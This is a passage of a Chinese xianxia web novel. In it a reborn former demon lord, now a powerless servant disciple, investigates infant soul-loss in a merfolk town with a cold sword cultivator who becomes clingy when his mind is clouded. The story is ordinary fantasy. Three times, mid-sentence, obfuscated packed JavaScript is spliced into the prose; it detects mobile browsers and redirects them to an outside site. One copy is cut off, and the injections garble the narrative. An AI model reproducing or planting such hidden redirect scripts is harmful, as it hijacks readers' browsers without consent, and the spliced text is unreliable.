“你,”谢不舟开口,声音是惯常的冷澈,“为何会睡在这里?” 为何会睡在这里? 翩翩一口气差点没上来,险些背过气去。 问谁呢? 问你啊谢师兄! 她在内心疯狂呐喊,看着谢不舟那副兴师问罪、全然忘事的理直气壮模样,只觉得一股无名火夹杂着淡淡的无力感直冲脑门。 唉,真是流年不利。 自从遇上这谢不舟,她浑身上下就写满了一个“衰”字! 明明是他自己魔障入脑,行为失控。 明明是她宽宏大量没跟他计较,还纡尊降贵哄了他半天。 明明是他自己点头同意让她睡床的! 怎么一觉醒来,全成了她的不是? 这擦屁股的活儿,怎么到头来还得她干? “师兄。” 翩翩压下满腹牢骚,脸上瞬间堆起一个甜得能齁死人的笑容,试图将伸手不打笑脸人的至理名言贯彻到底。 “你忘了吗?昨夜可是你亲口允我睡在此处的呀?怎么一觉醒来,反倒怪罪起我来了呢?” 她一边说,一边小心翼翼地用指尖,试图将剑锋从自己脖子上推开些许。 然而,善恶剑纹丝不动。 谢不舟的眼神依旧冰冷,带着审视,显然对她的话一个字也不信。 更古怪的是,他对于昨夜发生的一切,竟似真的半点印象都无。 仿佛那段记忆被人凭空抹去。 翩翩脸上的无辜表情几乎要挂不住。 而谢不舟,在最初的震怒与疑虑之后,看着眼前这张暗藏狡黠的脸。 他眉头紧锁,目光刺向翩翩。 试图从她那双看似清澈无辜的眼眸中,找出答案。 气氛,一时凝滞如冰,暗藏杀机。 就在这千钧一发之际—— “咚咚咚!” 厢房外,突然传来了急促的敲门声,伴随着陈澜那带着惊惶的嗓音:“谢师兄!谢师兄!您醒了吗?您这里……昨晚可有什么特殊情况发生?” 这敲门声如同天籁,瞬间打破了室内令人窒息的僵持。 翩翩暗暗松了口气,感觉到脖颈前的压力骤然一轻。 谢不舟手腕微动,善恶剑发出一声低吟,乖巧地收回鞘中。 只是剑身流转的光华,似乎比平日更添了几分得瑟,仿佛在冲着翩翩耀武扬威。 真是…… 有什么样的主人,就有什么样的剑! 一样的讨厌! 翩翩在心里狠狠吐槽。 ——— “……所以说,谢师兄你对昨晚发生之事,毫无印象?” 长老的议事大厅内,闻讯赶来的众玉宸宗弟子围坐一堂,听完谢不舟简短的陈述,皆面露惊诧。 “嗯。”谢不舟端坐主位,面沉如水,声音听不出喜怒。 “我对昨夜子时之后,直至清晨醒来,其间种种,并无记忆。” 他说这话时,眼角的余光冷冷地扫过乖巧站在角落的翩翩。 翩翩被他看得一个激灵,连忙低下头,努力减少自己的存在感。 “我们这边倒未觉异常,” 一位年纪稍长的师姐接口道,面上带着困惑,“只是陈澜师弟——” 她看向一旁脸色依旧有些发白的陈澜,“今早天刚蒙蒙亮,他便急匆匆来敲我的房门,说是……他厢房外的景象,与白日所见截然不同。” 众人的目光齐刷刷聚焦在陈澜身上。 陈澜咽了口唾沫,心有余悸地描述起来:“师兄,师姐,事情是这样的……我、我昨晚睡得不安稳,约莫子时左右起来想喝口水,就、就顺带往窗外看了一眼……” “结果发现,窗外根本不是我们白天见到的庭院景致,而是……而是一片幽暗深邃的镜子迷宫,到处,到处都是白日所见的镜子,还有……若有似无的缥缈歌声。” 一想到昨夜,陈澜觉得他看到过的烤鸡都不香了。 甚至对镜子里的烤鸡产生了心理阴影。 “就跟我们刚进镇子时感受到的那种被水汽和歌声包裹的氛围一模一样!水波弥漫,鬼气森森的!” “我、我胆子小,修为又低,没敢出去查探,就一直缩在房里,直到天亮……” “你是说,午夜时分,你房外的景象变成了数面白日里在走廊处所见的镜子?”聆音问。 “嗯嗯,是这样的。”陈澜拼命点头。 谢不舟指尖轻叩桌面,陷入沉思,“可还有其他师弟师妹,见到过类似景象?” 众人面面相觑,纷纷摇头。 只有翩翩。 她深呼吸,再深呼吸,仿佛下定了极大的决心,然后战战兢兢地、在众人忽视的角落,缓缓举起了手。 “我……我也见过。” 她倒不是非要在此刻当什么出头鸟。 只是鲛人镇的诡异远超预期,关乎自身安危,她比任何人都想尽快查明真相。 线索越多,越能拼凑出全貌。 而且…… 她偷偷瞥了一眼面色冷峻的谢不舟,主动提供线索,或许反而能打消一些他对自己的疑虑。 她做好了被众人质疑、甚至嘲讽的准备。 毕竟她一个杂役弟子,人微言轻,说的话有谁会信? 果然,她的话如同石沉大海。 她举着手等了半晌,周围的同门们竟像是完全没看见,也没听见一般,兀自讨论着失魂症的成因。 甚至有人笑着打趣陈澜:“陈师弟,你该不会是年纪小,胆子也小,夜里睡迷糊了,把白日里惦记着的烧鸡当成了镜子吧?” “就是,兴许是日有所思,夜有所梦呢?” 屋内一片欢声笑语。 翩翩:“……” 好吧,果然还是把她当空气。 她无奈地撇撇嘴,正准备悻悻然放下手,另寻时机。 就在这时,一直沉默的谢不舟却突然开口,目光精准地投向角落里的她。 他声音不高,却瞬间让整个议事大厅安静下来: “你说。将你所见所感,细细道来。” 满座皆惊。 所有人的目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495778|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,带着难以置信与探究,第无数次聚焦在了这个平平无奇的杂役女弟子身上。 他们想不明白,为何谢师兄会对她如此…… 另眼相看? 甚至到了这般盲目信任的地步? 翩翩也愣了一下,随即心中冷笑。 也好,机会送上门了。 她放下手,整理了一下衣摆,脸上露出一个带着几分怯生生又努力镇定的笑容。 “不瞒诸位,昨晚……我也遭遇了与陈澜小师兄一般无二的事。” “切!” 话音刚落,一声毫不掩饰的嗤笑便响了起来。 正是那胖师兄。 他双手抱胸,下巴微抬,用眼角的余光斜睨着翩翩,脸上写满了不屑。 “你说这话有什么用?” 胖师兄嘲讽道:“不过是为了哗众取宠,吸引注意罢了!陈澜年纪小,做噩梦说得过去,你一个……” 他上下打量了一下翩翩,意思不言而喻,“一个无灵根的杂役,也跟着凑什么热闹?谁知道是不是现编出来的!” 在他眼里,翩翩此举,无非是底层弟子惯用的、用以刷存在感的拙劣伎俩。 翩翩眨了眨眼,脸上露出恰到好处的困惑,她微微歪头,看着胖师兄,语气甚至带着点天真: “那……师兄有何高见呢?” 她不等胖师兄回答,便自顾自地接了下去,声音清脆:“看师兄如此斩钉截铁地反驳,想必是胸有成竹,昨晚定是有什么……极具价值的发现吧?” 她刻意放缓了语速,目光真诚地望着胖师兄:“毕竟,师兄如此英明神武,聪慧过人,肯定不像我们这般无用,昨晚定然是时刻警惕,牢牢注视着这府邸里的一举一动,未曾有片刻松懈,这才如此笃定我与陈澜小师弟所言不实,对吗?” 这一顶顶高帽子扣下来,句句都戳在胖师兄的痛处上。 “对啊!师兄,你有什么发现赶紧说说!” “就是就是,别卖关子了!” “师兄快讲!” 胖师兄额头瞬间冒出了细密的冷汗。 他昨晚睡得跟死猪一样,鼾声震天,哪里有什么狗屁发现? 胖师兄支支吾吾,眼神飘忽,半句有用的话也憋不出来,这副窘迫的模样,与方才趾高气扬的态度形成了鲜明对比,看得几个早就对他不满的弟子暗爽偷笑。 聆音师姐早已看出此人是惯爱靠贬低他人来拔高自己的德行,转而将目光投向翩翩:“翩翩师妹,不必理会无关之言,你且继续说下去。” 翩翩对聆音点点头。 “我与陈澜小师弟的遭遇,看似只是个人的离奇经历,但若联系起来看,或许并非偶然。” 她缓缓道,“从诸位踏入这座府邸,见到廊道内外那无数面诡异的称心如意镜开始,相信诸位心中便已存了疑虑。” “而昨夜之事,无论是我所见到的镜宫,还是陈澜小师弟遭遇的镜中幻影,似乎都在某种程度上,佐证了这府中镜子……确有古怪。” 她的话让在场诸位同门都不由自主地点了点头。 “但——”翩翩话锋陡然一转,将众人的思绪猛地拉回,“诸位,请别忘了我们此行来到鲛人镇的真正目的。” 她目光扫过一张张正在沉思的脸庞。 “我们并非是为了探查这府邸镜子的奥秘而来。我们是受沧溟长老所托,是为帮助他的如夫人,查明婴孩屡患失魂症的根源,助其顺利诞下健康的子嗣。” “如此说来,” 她微微停顿,留给众人思考的空间,然后才继续说道,语气带着引导,“大家不觉得,我们讨论的重点,或许更应该放在失魂症本身之上吗?这府中的镜子纵然诡异,但它与婴孩失魂,是否存在着我们尚未发现的关联,我们还尚未得知。” “还是说,这仅仅是巧合,或者……是某种转移我们注意力的障眼法?” 翩翩巧妙地将话题从个人遭遇引向了任务核心,同时并未完全否定镜子的可疑,只是提出了新的思考方向。 她转而望向那位常泡在藏经阁的师姐:“师姐博闻强识,可还记得,约三百年前,是否曾有一位号噬魂老祖的妖修,便是专以炼化生灵魂魄提升功力,曾一度将西北边陲一座凡人城池吸成了死城,满城百姓皆成行尸走肉?” 那师姐闻言,瞳孔微缩,仔细回想片刻,猛地点头:“确有此事。” “典籍记载,那妖修手段残忍,所过之处,生灵涂炭,魂魄尽失。” 她勾着手指在下巴,微微思索。 妖修吞噬魂魄提升修为,鲛人镇婴儿也是失了魂魄…… “说起来倒是与这鲛人镇婴儿失魂之状,有……几分相似!” 6. 第六章 翩翩点头如捣蒜:“正是如此。” 她说话时,谢不舟一直沉默地注视着她。 那目光不似平日里的冰冷锋利,反倒带着一种难以言喻的专注,像是在审视一件布满疑云的旧物。 毕竟某位重生前整日被骂妖修,吞噬生魂,并且法器刚好也跟镜子有关的, 远在天边,近在眼前。 正是翩翩。 翩翩被他看得后颈发毛,强撑着说完,末尾干笑两声,脚下不着痕迹地往门边挪。 “那个……” “既然已有猜测方向,那我就不打扰诸位师兄商议要事了……” 话音刚落,手腕处那该死的缚心咒隐隐一热,提醒着她身为绑定挂件的自觉。 翩翩心头暗骂一句,脸上挤出的笑容瞬间垮掉,只得灰溜溜地、一步三蹭地挪回了原地,假装刚才什么也没发生,乖巧地站在角落当背景板。 众人正商讨着如何向鲛人长老求证之事,以及后续对策。 翩翩心不在焉地听着,眼睛却时不时瞟向一旁抱剑而立、神色莫辨的谢不舟。 她挣扎片刻,终究是耐不住,悄悄凑近他身边,用气音小声问道:“谢师兄,那什么……咱们能不能,去街上逛上一逛?” 谢不舟眼风都没扫过来一个。 翩翩立刻挺直腰板,试图让这个请求听起来冠冕堂皇:“你看啊,失魂症线索说不定在镇上有迹可循,多走走多看看,说不定能有新的发现!知己知彼,百战不殆嘛!” 谢不舟终于侧过头,垂眸看她,刚张开嘴。 看样子就要吐出冰冷的拒绝。 恰在此时—— “咕噜……” 一阵异常清晰、中气十足的肠鸣音,极其不雅地从翩翩腹部传来。 响亮地打断了谢不舟未出口的话。 议事声戛然而止。 数道目光齐刷刷地落在翩翩身上。 翩翩:“……” 她瞬间从耳朵尖红到了脖子根,恨不得找个地缝钻进去,声音细若蚊蚋,带着难堪的窘迫:“我、我是个没灵根没修为的外门弟子,不能像你们一样辟谷……” 她低着头,心里已经把安排这次任务的外门管事长老骂了八百遍。 为什么让她一个凡人跟着一群修士出来干活? 连口饭都不管饱的吗? 辟谷? 辟谷是反人性的! 翩翩见谢不舟依旧沉默,以为这是无声的拒绝,顿时蔫了,垮着肩膀,准备认命。 岂料,谢不舟突然转身,一言不发地朝厅外走去。 “诶?” 翩翩一愣,下意识追问,“谢师兄,你去哪儿?” 前方传来冷淡却清晰的两个字:“街上。” 翩翩呆了一瞬,随即眼睛唰地亮了。 所有尴尬不翼而飞,她脸上瞬间绽开一个大大的、灿烂的笑容,屁颠屁颠地跟了上去,声音雀跃:“好嘞!这就跟上!” ——— 鲛人镇依托于巨大的珊瑚礁群而建,街道并非平坦陆地,而是由各色光滑卵石、珍贝碎片铺就。 头顶上方是阵法支撑起的巨大透明穹顶,隔绝了海水,却引入了深海变幻莫测的光线。 幽蓝、瑰紫、浅绿的光晕流转交织,投射下光影。 街道两旁,发光的夜明珠、水母灯点缀在珊瑚枝桠中,代替了寻常人家的灯笼。 景色确是奇异而瑰丽,如梦似幻。 只可惜,街道上鲛人稀少,且大多行色匆匆,面带忧色。 使得这本该热闹的城镇显得分外荒凉沉寂。 翩翩怀里抱着一包刚买的、用油纸裹着的海瓜子。 海瓜子是贝类的一种。 她一边走,一边毫不客气地一口一个,吃得腮帮子鼓鼓,满足得眼睛都眯了起来。 暂时将什么镜子、任务、失魂症全都抛到了脑后。 谢不舟则与她截然相反。 他步履不停,专挑那些看起来年长些、在街上缓慢行走的鲛人搭话。 每当问及失魂症或是人鱼幼崽相关之事,那些鲛人无论先前是何神态,脸色都会瞬间大变。 要么连连摆手说着“不知道不知道,你问别人去吧”。 要么就眼神躲闪,慌忙寻个借口匆匆逃离,仿佛那是什么不可言说的禁忌。 这反应,与昨日长老那边含糊其辞却并未完全否认的态度。 形成了微妙的对比。 谢不舟停下脚步,剑眉微蹙,望着又一个仓皇离去的鲛人老妇的背影,陷入沉思。 这鲛人镇的水,似乎比想象中更深。 就在这时,一直埋头苦吃的翩翩忽然若有所觉。 她抬起头,目光精准地投向侧前方一丛巨大的赤红色珊瑚后。 就在刚刚,一个身影在她看过去的瞬间,惊慌失措地缩了回去。 紧接着传来略显笨重杂乱的脚步声, 似乎正在快速逃离。 虽然只是一瞥,但翩翩看得分明,那是个年轻的女性鲛人。 面容姣好,长发如海藻般披散。 奇怪的是,她的动作…… 似乎有些不符合鲛人的轻盈优雅,反而脚步声格外沉重。 “怎么了?” 谢不舟察觉到翩翩的异样。 “有人跟着我们,” 翩翩嚼着贝肉,指着那珊瑚丛,“刚跑,是个女鲛人,跑起来……嗯,不太利索。” 谢不舟眸光一凛,神识瞬间扫过那片区域,却只捕捉到一丝微弱的气息。 对方已然远去。 失魂症问不了。 旁敲侧击打听点别的总行吧? 翩翩眼珠一转,看见旁边正好有个推着小车、面容憨厚的中年鲛人男子路过,看样子也是个小贩。 她立刻扬起一个自认为最人畜无害的笑脸,凑了上去。 “这位大哥,打扰一下。” 那鲛人大哥停下脚步,看向翩翩,又警惕地瞥了眼她身后气场冷冽的谢不舟。 翩翩忙道:“别紧张,我们就是好奇。请问您知不知道,刚才从那边珊瑚后跑过去的那位鲛人姑娘是谁啊?我们好像吓到她了。” 鲛人大哥还是面露防备,就当翩翩认为这也没戏时,她身后的称心如意镜突然闪了一下,下一刻—— 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495779|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那鲛人大哥就顺着她指的方向看了看,恍然道:“哦,你说她啊……是离歌姑娘。” 他脸上露出一丝诧异,“奇了怪了,她平时可是很少出现在人前的,今天怎么跑出来了?” “离歌?” 翩翩记下这个名字,顺势问道:“我们也觉得奇怪呢,看她跑起来好像……不太方便?” “嗐,能方便吗?” 鲛人大哥叹了口气,压低了点声音,“她如今可是怀有身孕的呢。这可是我们鲛人镇眼下顶顶要紧的大事之一!” “怀孕?” 翩翩讶然。 “可不是嘛!” 旁边一个在摆弄着各种贝壳、珍珠串成饰品的小贩老爷爷也探过头来,加入了八卦行列,“咱们鲛人一族,如今人丁稀少你是知道的。除了这位离歌姑娘,也就只有长老府上那位新纳的夫人有了身孕。” “这可是我们镇子未来的希望啊!” 鲛人大哥连连点头,随即又像是想起了什么,声音压得更低,带着点分享秘辛的神秘感:“说起来,这位离歌姑娘也是够倒霉催的……” 翩翩立刻十分上道地又凑近了些,竖起耳朵。 小贩老爷爷小声道:“你看她总是形单影只的,没个男人在身边照顾。那是因为……” “她肚子里孩子的爹,是个人类!” 鲛人大哥立刻接话,语气带着几分不忿:“谁说不是呢!那些人类啊,天生就自私薄情,见异思迁!玩腻了,就把他们母子俩抛弃在我们这鲛人镇,不闻不问,真是造孽……” 他说到愤慨处,声音不自觉拔高了些,随即猛地意识到,眼前问话的这两位,可不就是人类? 尤其是那个一直没说话、抱着剑的年轻男子,周身散发出的修为波动深不可测,绝非寻常修士。 鲛人大哥脸色一白,冷汗都快下来了,连忙摆手道歉:“对不住对不住!二位仙长,我、我不是那个意思……我就是嘴快,一时口无遮拦……” 翩翩却浑不在意地摆摆手,心思早已飘远。 人类男子? 被抛弃却怀了孕的鲛人女子? 不知道为什么,这位名叫离歌的鲛人姑娘,总给她一种莫名的熟悉感。 并非面容熟悉,而是那种境遇,那种萦绕在她身上的故事氛围…… 她是不是在哪里听过,或者见过类似的故事? 等翩翩和谢不舟回到鲛人长老所在的府邸时,陈澜等人也已归来,正商议着要去探望那位怀孕的夫人。 任务的关键在于失魂症与人鱼婴孩,这位身怀六甲的如夫人,无疑是目前最显而易见的突破口。 众人一同前往如夫人所居的别院。 刚到院门,便见一名侍女引着一人从内室走出。 那人背着个药箱,身形清瘦,穿着朴素的青色布袍,正微微侧头听着侍女的嘱咐。 待他转过身,看到迎面走来的一行人,目光瞬间落在翩翩身上,眼睛“唰”地一亮,脸上绽开一个毫无阴霾的、灿烂无比的笑容,几乎是崩着冲了过来,兴奋地喊道: “仙子姐姐!你怎么也在这里?!” 正是分别不久的见愁。 7. 第七章 而在看到谢不舟的那张冰山脸后, 见愁缩在门边,只探出半个脑袋,顿时像被踩了尾巴的猫,嗖地一下往后缩了缩,小声嚅嗫道:“谢、谢仙长。” 他脑海里不受控制地闪过那把名为善恶的小剑—— 昨日夜里,就是这柄剑悬在他眉心三寸之处,剑气凛冽,几乎要将他整个人都劈成两半。 如今回想起来,仍心有余悸,小腿肚都微微发软。 “那位夫人的胎象,可曾探出什么不妥?” 一旁较为沉稳的师兄开口问道。 眼下线索寥寥,那孕妇腹中胎儿或许是唯一的突破口。 众人目光齐刷刷落在见愁身上。 却见他摇了摇头,小声道:“胎象……平稳得很,瞧不出什么。” “那可有什么异象?譬如妖气侵体之兆?” 这次发问的是陈澜,少年人嗓音清亮,带着几分急切。 见愁仍是摇头,一脸苦相。 眼见这条线就此中断,众人面面相觑,眼下似乎只剩下两个选择。 其一便是静待夫人生产,若当真有什么噬魂的大妖作祟,分娩之时阴气最盛,确是它最可能现身的时机。 这其二嘛—— “看来,今夜少不得要会一会这镜宫了。” 谢不舟淡淡开口。 众人纷纷点头,眼下也唯有如此。 正事既已商定,翩翩几人便打算起身告辞。 岂料那见愁倒是个人精,眼珠子在翩翩和谢不舟之间转了转,脸上堆起讨好的笑,凑近了些,压低声音道:“二位仙长站在一起,真是珠联璧合,般配得紧呐!” 他自觉这番马屁拍得巧妙,定能讨得这位看起来就不好惹的谢仙长欢心。 谁知—— 谢不舟眼皮都未抬一下,只从鼻子里哼出一声冷嗤,眼神扫过去,宛如腊月寒冰,冻得见愁一个哆嗦,后半截奉承话硬生生卡在了喉咙里。 马屁结结实实拍在了马肚子上。 一旁陈澜早已见怪不怪,小声跟旁边师兄嘀咕:“原来连外人都瞧出来了……” 两位当事人却都诡异的沉默着。 众人,包括讪讪的见愁,只当他们是脸皮薄,害了羞。 实则不然。 一位是眉峰微蹙,隐有薄怒,周遭气温都仿佛降了几度。 仿若自己是刚被造谣被猪啃过的白菜。 另一位—— 翩翩。 只觉一股寒气从脚底板直冲头顶,她恨不得当场挖个坑把自己埋了,或者干脆钻到那桌子底下去。 她总算切身体会到,什么叫“造谣一张嘴,辟谣跑断腿”。 尤其这谣言的另一位主角,还是不久前刚亲手送她去重生报到的大仇人。 翩翩在心里默默流泪,深刻忏悔—— 当初就不该写那些个《冷面剑修与他的俏师妹》、《不舟与荧惑的那档子事儿》之类的狗血话本子。 真是天道好轮回,苍天饶过谁。 有什么比跟自己杀身仇人凑到一起更可怕的事吗? 没有一点。 ————— 是夜,月隐星沉。 屋内,众人皆未歇息或打坐调息。 刚过子时,一阵空灵婉转的歌声,若有若无地飘了进来,如泣如诉,带着某种难以言喻的吸引力,直往人耳朵里钻。 谢不舟早已扛着他那柄威风凛凛的善恶剑站在门边,剑身嗡鸣着,透出一股跃跃欲试的兴奋感。 翩翩不像他们这些修行之人,她如今肉体凡胎,到了时辰便困倦难耐。 听着那缥缈歌声,更是眼皮子打架,昏昏欲睡。 直到“吱呀”一声,谢不舟一把推开房门,一股冷冽咸腥的夜风猛地灌入,激得翩翩一个哆嗦,瞬间清醒了大半。 “走。” 谢不舟言简意赅,已迈步踏入外面的浓稠夜色。 翩翩赶紧跟上。 一出屋子,四周景象已然大变,不再是静谧的海岛村落,而是灰蒙蒙一片,雾气缭绕的镜宫。 除了那无处不在、勾魂摄魄的鲛人歌声, 万籁俱寂。 这究竟是高明的阵法,还是逼真的幻境? 显然,这不是她这个失了灵力的小凡人该操心的问题。 自有前面那位扛大剑的去烦恼…… 对了,谢不舟呢? 不会又不见了吧。 翩翩心头一跳,猛地抬头,才发现前方不知何时已空无一人。 不是吧,还来? 浓雾吞噬了谢不舟的身影,也隔绝了所有声息,只剩下她孤零零一个。 那鲛人的歌声愈发清晰,空灵中带着蛊惑人心的力量,搅得她心神不宁。 翩翩用力拍了拍自己的脸颊,试图保持清醒。 就在这时,前方雾气微散,她竟又看到了之前凉亭边遇见的那位鲛人姑娘。 只是此番景象已截然不同。 一艘破败的渔民沉船斜插在海底泥沙中,那鲛人姑娘就坐在腐朽的船头,鱼尾轻轻摆荡,泛着珍珠般的光泽。 她小腹微微隆起,看起来,似乎与那位长老夫人的月份相近。 翩翩下意识想靠近些看得更真切。 忽然—— “嗖!” 一道凌厉的水刃毫无征兆地破开暗流,直射她面门,速度快得惊人, 翩翩几乎是凭本能侧身闪避,水刃擦着她的脸颊飞过,带起一丝尖锐的刺痛,温热的液体随之滑落。 不等她喘息,无数水流如同有生命的触手,从四面八方汹涌而来,瞬间将她紧紧包裹。 视线被剥夺,一片黑暗, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495780|202494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸也变得困难。 等周遭水流稍散,视线恢复的刹那,一道黑影犹如鬼魅般悄无声息地立在她身后。 杀气凛然。 论修为,那人远在无灵根的她之上,莫说交手,在术法上她连一丝反抗的余地都没有。 翩翩虽然是凡人,没有灵力,但坐上琳琅城城主的位置,成为十大妖星之首也不是浪得虚名的。 十大妖星,皆以身体某个部位祭为法器。 法器便是他们的战力所在。 所谓器在人在,器亡人也亡。 翩翩下意识地扶上自己的左眼。 本命镜在她的眼眸中缓缓浮现。 哦,忘记了。 她现在的身份可是个“没有灵根的凡人”呀。 翩翩闭眼,几乎是电光火石间,她捏碎了袖中一张用来瞬移逃命的符箓—— 这也是她压箱底的保命玩意儿之一。 “嗖!” 身影一晃,她已出现在十数丈外,将那杀气腾腾的黑影暂时甩开。 惊魂未定之际,她一眼瞥见了前方雾气中那道熟悉的挺拔身影—— 谢不舟! 怪的是,明明说好一同行动的其他同门,此刻依旧不见踪影。 茫茫雾色中,似乎只有他一人。 “谢师兄!救、救命!” 翩翩几乎是连滚爬爬地冲过去,声音都带了哭腔。 谢不舟显然也注意到了她身后追来的那股强大气息,他持剑的手微微一动,善恶剑发出嗡鸣。 然而,一个念头倏地划过脑海—— 何不借此机会,试探一下翩翩的底细? 看她如今,究竟还有几分本事。 于是,他身形顿住,选择没有立刻出手。 翩翩心里顿时把谢不舟骂了个狗血淋头。 这杀千刀的冰块脸! 见死不救! 枉为名门正派传人! 眼看那道水刃再次凝实,带着斩断一切的凌厉之势,横到她面前,下一刻就要将她一砍为二。 翩翩绝望地闭上眼。 预想中被撕裂的剧痛并未降临。 “锵!” 一声清脆的金铁交鸣之音炸响耳边。 翩翩颤抖着睁开眼,只见那道素白身影不知何时已挡在她身前,善恶剑甚至未曾完全出鞘。 只是剑格处溢出的凛然剑气,便轻而易举地将那致命的水刃震碎成漫天水珠,消散于雾气之中。 待谢不舟回过头,他眉宇间那惯常的冷肃竟如冰雪消融般褪去。 取而代之的是一种近乎脆弱的急迫。 如同那日第一次进入法阵一般。 他的目光迅速将翩翩从头到脚扫一遍,声音里带着紧绷,哑声问道: “翩翩……你可有哪里……受伤了?” 8. 第八章 这次的谢不舟话格外多。 “你上次说过……我醒过来……就能看到你。” 低沉的嗓音在耳边响起,语气里却掺着明晃晃的委屈,像只被雨淋湿的大型犬。 正在控诉主人的言而无信。 翩翩:“……” 她僵硬地抬起头,对上谢不舟那双在此刻显得格外纯良甚至带着点水光的眸子。 这还能赖到我身上? 她内心简直有一万头海马奔腾而过,面上却还得维持着基本的镇定。 “你……失约了…” 谢不舟再次控诉,顺便把他那颗永远高高在上、习惯性俯视她的脑袋,低下,甚至试探性地往翩翩手边凑了凑。 那意思再明显不过了—— 求摸摸。 翩翩浑身汗毛都快竖起来了。 摸? 摸玉宸宗首徒、化神大能、前世一剑送自己归西的仇人的头? 不摸? 看着他现在这副明显脑子不清醒、但武力值爆表的状态,万一惹恼了…… 怎么办? 在线等,挺急的。 翩翩在心里无能狂怒,面上肌肉抽搐,挤出一个比哭还难看的笑。 “谢、谢师兄,” 她决定采取转移话题大法,试图将这明显跑偏的死对头拉回正轨,“你……你看我们现在,是不是还有正事要做?” 虽然谢师兄此时脑子是不够数的,但武力值满分,而且貌似…… 还挺听她话? 勉强算是个可以并肩作战且可以利用的好搭档。 谢不舟见翩翩不摸他,反而转了话题,漂亮的凤眸里闪过一丝不明显的不高兴。 但他似乎牢记着不能在翩翩面前发脾气的准则,只是微微抿了抿唇,依言环顾四周,眼神里带着真实的困惑:“我们现在是在……?” “师兄,我们现在估计正陷在长老府邸的某个幻境或阵法当中。” 翩翩赶紧解释。 “幻境?阵法?” 他喃喃自语,眉头渐渐蹙起,似乎在努力调动混乱的记忆,“鲛人镇……失魂……” “嗯嗯!” 翩翩用力点头,期待他能想起点什么有用的。 谢不舟眉头越皱越紧,随着翩翩的话语陷入思考。 四周一片寂静,只有水流细微的涌动声。 翩翩对阵法一窍不通。 唯一可能的大脑外援—— 谢不舟,此刻还处于半魔怔状态。 她看着他那张迷茫的脸,忍不住叹息。 聪慧和听话,为什么就不能兼得啊。 就在这时,谢不舟突然动了。 他一把抓住翩翩的手腕,力道不容置疑。 “走。” 他言简意赅,拉着翩翩就往前迈步,“我们去找阵眼。” 阵眼? 对! 翩翩眼睛一亮。 如果是法阵,那么必然有其核心阵眼,只要找到它,这法阵背后的秘密,或许就能窥见一二。 “所以——谢师兄,你是清醒了吗?” 翩翩被他拉着走,小心翼翼地问。 她心有余悸地回想起今早睁眼时,那柄横在脖颈前的善恶剑带来的开门杀。 “嗯?什么清醒?” 谢不舟语调低沉,似乎完全没理解她的问题。 而且,他拉着她手腕的手,不知何时变成了强行十指相扣的姿势,温热的掌心紧紧贴着她的,带着一种不容挣脱的强势。 ……果然,还是不对劲。 翩翩看着两人交握的手,心下明了。 这谢不舟,遇到正事逻辑清晰,手段果决。 可一旦涉及到与她相关的行为模式,就完全偏离了那个冷面首徒的轨道,变得…… 黏人又霸道。 正当翩翩思绪纷乱之际,那鲛人歌声,再次毫无征兆地,穿透层层水波,萦绕在耳畔。 她抬眼望去,前方景象变幻,赫然又是那艘沉没在幽暗海底、爬满藤壶与海藻的人鱼沉船。 而在那船头残骸之上,倚坐着的那个身影—— 黑色长发,苍白面容,双手护着隆起腹部的怀孕女鲛人。 是离歌! 一想到早上从鲛人居民那里听来的关于离歌的传闻—— 被人类男子抛弃,独自孕育子嗣。 翩翩的神色立刻严肃起来。 她下意识地握紧了与谢不舟交握的手,低声道:“师兄,小心,情况不明,我们务必谨慎。” 谢不舟感受到她的紧张,侧头看了她一眼,他微微颔首,声音带着令人安心的力量:“放心,一切有我。” 此时,沉船上的离歌也注意到了不速之客。 她停止了歌唱,双手警惕地护住腹部,鱼尾摆动了下,激起一串水泡。 眼眸中充满了戒备与疏离:“你们是谁?为何闯入此地?” 翩翩尽量让自己的语气显得平和无害,说明来意:“我们是玉宸宗修士,受邀前来调查鲛人镇幼儿失魂一事。” “姑娘可是离歌?” 离歌眼中戒备未消,反而更添一丝排斥:“这里不是你们该来的地方!速速离去!” 翩翩不退反进,反问一句,试图打破她的心防:“那你呢?你独自在此,又是为了什么?” 这句话仿佛戳中了离歌的痛处。 她神情一下子变得无比落寞哀伤,声音也低了下去,带着哽咽:“我……我在这里等我的夫君……我们约定好了,他一定会来接我,接我和孩子离开……” 她说着说着,眼神却骤然变得锐利起来,那哀伤瞬间被一种近乎疯狂的恨意取代。 谢不舟一直密切关注着她的状态,见此情形,几乎是本能地将翩翩猛地往自己身后一拉,完全护住。 “你们是人类!” 离歌的声音陡然拔高,变得尖利刺耳,带着强烈的精神攻击,“一群薄情寡义、丝毫不信守承诺的人类!你们该死——!” 最后一个“死”字出口,已不再是话语,而是化作一道无形的声波攻击,如同无数细针,直刺灵台。 